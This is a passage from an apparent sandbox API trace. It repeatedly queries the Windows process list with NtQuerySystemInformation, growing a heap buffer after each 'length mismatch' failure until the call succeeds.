ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0204.690] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0204.690] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0204.691] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xa168) returned 0x2560048 [0204.691] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0204.691] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0204.691] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0204.691] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0204.691] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0204.691] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0204.691] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0204.692] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xe1f8) returned 0x2560048 [0204.692] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0204.692] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xf21c) returned 0x2560048 [0204.692] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0204.692] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x10240) returned 0x2560048 [0204.692] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0204.692] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88d8 [0204.853] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0204.853] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0204.854] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0204.854] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0204.854] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0204.854] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0204.854] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0204.854] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0204.854] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0204.854] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0204.854] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0204.854] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0204.854] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0204.854] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0204.855] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0204.855] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0204.855] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xa168) returned 0x2560048 [0204.855] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0204.855] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0204.855] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0204.855] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0204.855] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0204.855] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0204.856] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0204.856] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xe1f8) returned 0x2560048 [0204.856] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0204.856] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xf21c) returned 0x2560048 [0204.856] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0204.856] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x10240) returned 0x2560048 [0204.856] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0204.856] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x11264) returned 0x2560048 [0204.857] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0204.857] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88d8 [0205.001] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0205.001] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0205.001] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0205.001] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0205.001] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0205.001] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0205.001] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0205.002] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0205.002] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0205.002] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0205.002] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0205.002] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0205.002] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0205.002] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.002] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0205.002] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.002] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xa168) returned 0x2560048 [0205.002] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.003] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0205.003] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.003] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0205.003] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.003] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0205.003] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.003] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xe1f8) returned 0x2560048 [0205.003] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.004] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xf21c) returned 0x2560048 [0205.004] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.004] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x10240) returned 0x2560048 [0205.004] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.004] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x11264) returned 0x2560048 [0205.004] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.004] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x12288) returned 0x2560048 [0205.004] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0205.005] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88d8 [0205.145] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0205.145] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0205.145] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0205.145] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0205.145] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0205.145] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0205.146] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0205.146] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0205.146] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0205.146] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0205.146] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0205.146] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0205.146] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0205.146] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.146] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0205.146] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.146] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xa168) returned 0x2560048 [0205.147] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.147] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0205.147] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.147] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0205.147] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.147] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0205.147] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.147] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xe1f8) returned 0x2560048 [0205.147] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.148] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xf21c) returned 0x2560048 [0205.148] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.148] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x10240) returned 0x2560048 [0205.148] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.148] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x11264) returned 0x2560048 [0205.148] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.148] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x12288) returned 0x2560048 [0205.149] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.149] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x132ac) returned 0x2560048 [0205.149] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0205.149] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88d8 [0205.274] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0205.274] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0205.275] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0205.275] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0205.275] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0205.275] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0205.275] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0205.275] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0205.275] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0205.275] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0205.275] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0205.275] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0205.275] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0205.275] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.276] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0205.276] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.276] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xa168) returned 0x2560048 [0205.276] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.276] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0205.276] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.276] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0205.276] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.277] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0205.277] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.277] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xe1f8) returned 0x2560048 [0205.277] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.277] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xf21c) returned 0x2560048 [0205.277] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.277] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x10240) returned 0x2560048 [0205.277] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.278] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x11264) returned 0x2560048 [0205.278] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.278] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x12288) returned 0x2560048 [0205.278] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.279] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x132ac) returned 0x2560048 [0205.279] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0205.279] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88d8 [0205.459] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0205.459] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0205.459] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0205.460] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0205.460] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0205.460] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0205.460] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0205.460] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0205.460] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0205.460] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0205.460] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0205.460] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0205.460] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0205.460] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.461] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0205.461] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.461] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xa168) returned 0x2560048 [0205.461] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0205.461] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0205.461] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, 